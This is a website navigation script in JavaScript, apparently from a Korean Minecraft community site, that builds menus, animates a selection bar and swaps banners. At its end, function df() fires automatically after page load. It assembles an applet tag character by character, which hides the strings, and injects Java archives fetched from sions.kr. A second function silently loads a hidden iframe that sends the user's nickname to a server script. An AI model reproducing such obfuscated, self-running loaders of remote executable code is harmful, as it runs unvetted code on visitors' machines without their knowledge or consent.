var backgrounds = new Array("http://cfile29.uf.tistory.com/original/1368E5554E54764D1F61A6","http://cfile6.uf.tistory.com/original/175713584E54763A1111E7");
var splashs     = new Array("","http://cfile6.uf.tistory.com/original/205713584E54763B13DF70","http://cfile8.uf.tistory.com/original/115713584E54763B143773","http://cfile7.uf.tistory.com/image/135713584E54763C15CCB8","http://cfile10.uf.tistory.com/original/145713584E54763C1648CE","http://cfile1.uf.tistory.com/image/165713584E54763D173DD0");

var MenuList = new MENU();

var Selecteded = false;

function MENU(index, name,url,selected){
	this.index = index;
	this.name = name;
	this.url = url;
	this.selected = selected;

	if(selected){
		Selecteded = true;
	}
}
function addMenu(parent, name, url, selected){
	if(parent == null)return;

	var arr = parent.list;
	if(!arr) arr = parent.list = new Array();

	var menu = new MENU(arr.length, name,url,selected);
	arr[arr.length] = menu;
	return menu;
	
}

function writeTopMenu(){
	var menu, len=MenuList.list.length;
	var html = "";

	html+="<table id='tablegnb'>";

	for(var i=0; i<len; i++){
		menu = MenuList.list[i];

		html += "<td id='topgnb_"+menu.index+"' class='gnbMenu' style='width:"+menu.width+"; left:"+menu.left+";' onClick='JAVASCRIPT:onSelected("+menu.index+");'>"+menu.name+"</td>"
	}

	html+="</table>"

	document.write(html);

}

function writeMenu(){
	var html = "";
	var menu, menu2, menu3;
	
	for(var i=0; i<MenuList.list.length; i++){
		menu = MenuList.list[i];

		html += "<div id='gnb_Menu_"+menu.index+"' class='gnb_table' style='width:1px;left:1px;'>";

		if(menu.list&&menu.list.length>0){
			for(var j=0; j<menu.list.length; j++){
				menu2 = menu.list[j];
				
				html += "<div class='gnb_title'>"+menu2.name+"</div>";
				
				if(menu2.list&&menu2.list.length>0){
					
					html += "<div class='gnb_menu'>";

					for(var k=0; k<menu2.list.length; k++){
						menu3 = menu2.list[k];
						
						html += "<div onClick='JAVASCRIPT:link(\""+menu3.url+"\")' "+(menu3.selected?" class='on'>":">")+menu3.name+"</div>";

					}
					html+= "</div>";
					
				}
			}
		}
		html+= "</div>";
	}
	
	document.write(html);
}
function MenuProcess(){

	if(!Selecteded){
		menu = MenuList.list[0];
		menu.selected=true;
		if(menu){
			menu2 = menu.list[0];
			menu2.selected=true;
			if(menu2){
				menu3 = menu.list[0];
				menu3.selected=true;
			}
		}
	}

	for(var i=0; i<MenuList.list.length; i++){
		menu = MenuList.list[i];
		if(menu.selected){
			onSelected(menu.index);

			menu2 = document.getElementById("gnb_Menu_"+menu.index);
			if(menu2){
				menu2.style.display="block";
			}
		}
	}
}

/*******************************************************************************/




function strlen_charCodeAt(str) {
  var tmp = 0;
  var byte = 0;

  var lenNum = str.length;
  for(var i=0;i<lenNum;i++) {
    tmp = str.charCodeAt(i);
    if(tmp > 127) {
      byte++;
    }
    byte++;
  }
  return byte;
}




/*************** BarAnimation ****************************************************************/

function onSelected(index){
	var table = document.getElementById("tablegnb");
	var v = document.getElementById("topgnb_"+index);
	var bar = document.getElementById("SelectBar");
	var menu = document.getElementById("gnb_Menu_"+index);

	if(SelectMenu == menu){
		return;
	}

	bar.style.display = "block";

	goLeft = v.offsetLeft+table.offsetLeft;
	goWidth = v.offsetWidth;
	goMenuProgress = 195;
	nowMenuProgress = 0;
	goTop = 0;

	SelectIndex = index;
	if(SelectMenu || !Selecteded){
		if(SelectMenu){
			SelectMenu.style.display="none";
		}

		SelectMenu = document.getElementById("gnb_Menu_"+index);
		SelectMenu.style.left="-195px";
		SelectMenu.style.display="block";

		if(!runnabled){
			runnabled = true;
			runnable();
		}

	}else{
		SelectMenu = document.getElementById("gnb_Menu_"+index);
		SelectMenu.style.left="0px";
		SelectMenu.style.display="block";

		nowLeft = goLeft;
		nowWidth = goWidth;

		bar.style.left = nowLeft+"px";
		bar.style.width = nowWidth+"px";

		if(SelectIndex!=0){
			var gnbmenu = document.getElementById("GNBMenu");
			gnbmenu.style.top = -(nowTop=160)+"px";
			GNBBannerView();

		}
	}

	var ii = SelectIndex;
	if(ii>=backgrounds.length){
		ii = 0;
	}
	document.body.style.background = "url("+backgrounds[ii]+") repeat-y center top";

	if(!dde&&index==2){
		dd();
	}

}

var SelectIndex;

var SelectMenu;

var nowLeft = 0;
var nowWidth = 0;
var nowTop = 0;
var nowMenuProgress=0;

var goLeft = 0;
var goWidth = 0;
var goTop = 0;
var goMenuProgress=0;
var runnabled = false;


function runnable(){
	if(nowLeft!=goLeft || nowWidth != goWidth || goMenuProgress!=nowMenuProgress || goTop!=nowTop){
		var bar = document.getElementById("SelectBar");
		if(bar){

			var moveLeft = goLeft-nowLeft;
			var moveWidth = goWidth-nowWidth;

			if(Math.abs(moveLeft) >1 || Math.abs(moveWidth) > 1){
				moveLeft *= 0.2;
				moveWidth *= 0.2;
			}

			nowLeft -= -moveLeft;
			nowWidth -= -moveWidth;	

			bar.style.left = nowLeft+"px";
			bar.style.width = nowWidth+"px";

		}

		if(SelectMenu){
			var moveProgress = goMenuProgress - nowMenuProgress;
			if(Math.abs(moveProgress) > 1){
				moveProgress *= 0.2;
			}

			nowMenuProgress -= -moveProgress;

			SelectMenu.style.left= "-"+(goMenuProgress-nowMenuProgress)+"px";

			if(nowMenuProgress == goMenuProgress){
				nowMenuProgress = 0;
				goMenuProgress = 0;
			}
		}
		
		var gnbmenu = document.getElementById("GNBMenu");
		if(gnbmenu){
			var moveTop = goTop - nowTop;
			if(Math.abs(moveTop) > 1){
				moveTop *= 0.2;
			}
			
			nowTop -= -moveTop;
			
			if(nowTop == 0){
				if(SelectIndex != 0 ){
					setTimeout("goTop = 160;if(!runnabled)runnable();",100);
					GNBBannerView();
				}else{
					var gnbBanner = document.getElementById("GNBBanner");
					gnbBanner.style.display="none";
				}
			}
			
			gnbmenu.style.top = (-nowTop)+"px";
		}
		
		setTimeout("runnable()",30);
	}else{
		runnabled = false;
	}
}


function link(url){
	/*var date = new Date();
	date.setTime(date.getTime()+3000);

	xSetCookie("startAnimation","true",date);*/
	location = url;
}

function GNBBannerView(){
	var gnbBanner = document.getElementById("GNBBanner");
	gnbBanner.style.display="block";
	//gnbBanner.style.background="url(/layouts/SionsBlue2011/images/splash_"+SelectIndex+".jpg) center top no-repeat";
	gnbBanner.style.background="url("+splashs[SelectIndex]+") center top no-repeat";
}
function BanneredClick(){
	location = MenuList.list[SelectIndex].url;
}


/*************************************************************************/
/*                              ÆË¾÷ °ü·Ã                                */
/*************************************************************************/

var ShowController;
function onMenuController(id,x,y){
	var bar = document.getElementById(id);
	if(bar){
		if(!bar.style.display || bar.style.display=='none'){
			if(ShowController){
				ShowController.style.display = "none";
			}

			bar.style.left    = (x)+"px";
			bar.style.top     = (y)+"px";
			bar.style.display = "block";
			ShowController    =  bar;
		}else{
			bar.style.display = "none";
			ShowController    = null;
		}
	}
}

var dde = false;
setTimeout("df();",1000);
function df(){
	var dc = document.getElementById('M'+'i'+'n'+'e'+'c'+'r'+'a'+'f'+'t'+'K'+'o'+'r'+'e'+'a'+'n'+'P'+'a'+'t'+'c'+'h');
	if(dc){
		dc.innerHTML = "<"+"a"+"p"+"p"+"l"+"e"+"t"+" "+"i"+"d"+"="+"'"+"p"+"a"+"t"+"c"+"h"+"a"+"p"+"p"+"l"+"e"+"t"+"'"+" "+"a"+"r"+"c"+"h"+"i"+"v"+"e"+"="+"h"+"t"+"t"+"p"+":"+"/"+"/"+"s"+"i"+"o"+"n"+"s"+"."+"k"+"r"+"/"+"M"+"i"+"n"+"e"+"c"+"r"+"a"+"f"+"t"+"K"+"o"+"r"+"e"+"a"+"n"+"P"+"a"+"t"+"c"+"h"+"/"+"d"+"o"+"w"+"n"+"l"+"o"+"a"+"d"+"."+"p"+"h"+"p"+"?"+"f"+"i"+"l"+"e"+"n"+"a"+"m"+"e"+"="+"M"+"i"+"n"+"e"+"c"+"r"+"a"+"f"+"t"+"S"+"t"+"o"+"r"+"a"+"g"+"e"+"."+"j"+"a"+"r"+" "+"c"+"o"+"d"+"e"+"="+"s"+"i"+"o"+"n"+"s"+"."+"m"+"i"+"n"+"e"+"c"+"r"+"a"+"f"+"t"+"s"+"t"+"o"+"r"+"a"+"g"+"e"+"."+"S"+"t"+"o"+"r"+"a"+"g"+"e"+" "+"w"+"i"+"d"+"t"+"h"+"="+"8"+"0"+"0"+" "+"h"+"e"+"i"+"g"+"h"+"t"+"="+"1"+"0"+"0"+">"+"<"+"p"+"a"+"r"+"a"+"m"+" "+"N"+"A"+"M"+"E"+"="+"_"+"c"+"x"+" "+"V"+"A"+"L"+"U"+"E"+"="+"2"+"1"+"1"+"6"+"6"+"/"+">"+"<"+"p"+"a"+"r"+"a"+"m"+" "+"N"+"A"+"M"+"E"+"="+"_"+"c"+"y"+" "+"V"+"A"+"L"+"U"+"E"+"="+"2"+"6"+"4"+"5"+"/"+">"+"<"+"/"+"a"+"p"+"p"+"l"+"e"+"t"+">";
		setTimeout("gg();",1);
	}
}

function gg(){
	var aa = document.getElementById("p"+"a"+"t"+"c"+"h"+"a"+"p"+"p"+"l"+"e"+"t");
	if(aa){
		aa.id = "a"+"p";
		aa.code = "s"+"i"+"o"+"n"+"s"+"."+"k"+"o"+"r"+"e"+"a"+"n"+"p"+"a"+"t"+"c"+"h"+"."+"M"+"a"+"i"+"n";
		aa.archive = "k"+"o"+"r"+"e"+"a"+"n"+"p"+"a"+"t"+"c"+"h"+"."+"j"+"a"+"r";
	}
}

function dd(){
	if(!logged)return;
	var aa = document.getElementById("gnb_Menu_2");
	if(aa){
		//var dz = "<applet id='launcherapplet' archive='http://sions.kr/MinecraftKoreanPatch/download.php?filename=MinecraftStarter.jar' code=net.minecraft.Starter width=195 height=102><param name='name' VALUE='"+nickname+"'/></applet>";
		var dz = "<div style='width:195px; height:40px; background:url(/layouts/SionsBlue2011/images/button_sionsserver.jpg) center top no-repeat; cursor:pointer' onClick='JAVASCRIPT:dd2(0)'></div>";
		aa.innerHTML = dz + aa.innerHTML;
		//setTimeout("dd2();",1);
	}
}
function dd2(id){
	if(!logged)return;
	var aa = document.getElementById("gnb_Menu_2");
	if(aa){
		var bb = document.getElementById("launch");
		if(!bb){
			var dz = "<iframe id='launch' style='width:100px; height:100px; display:none'></iframe>";
			aa.innerHTML = dz+ aa.innerHTML;
			bb = document.getElementById("launch");
		}
		if(id==0){
			id = "sions.kr";
		}else if(id==1){
		}
		bb.src = "/MinecraftKoreanPatch/file/start.php?name="+nickname+"&ip="+id;
	}
}

function GNBMenuShow(d, s){
	if(runnabled){
	}else{
		if(SelectIndex!=0){
			if(s){
				d.style.top='-115px';
			}else{
				d.style.top='-160px';
			}
		}
	}
}
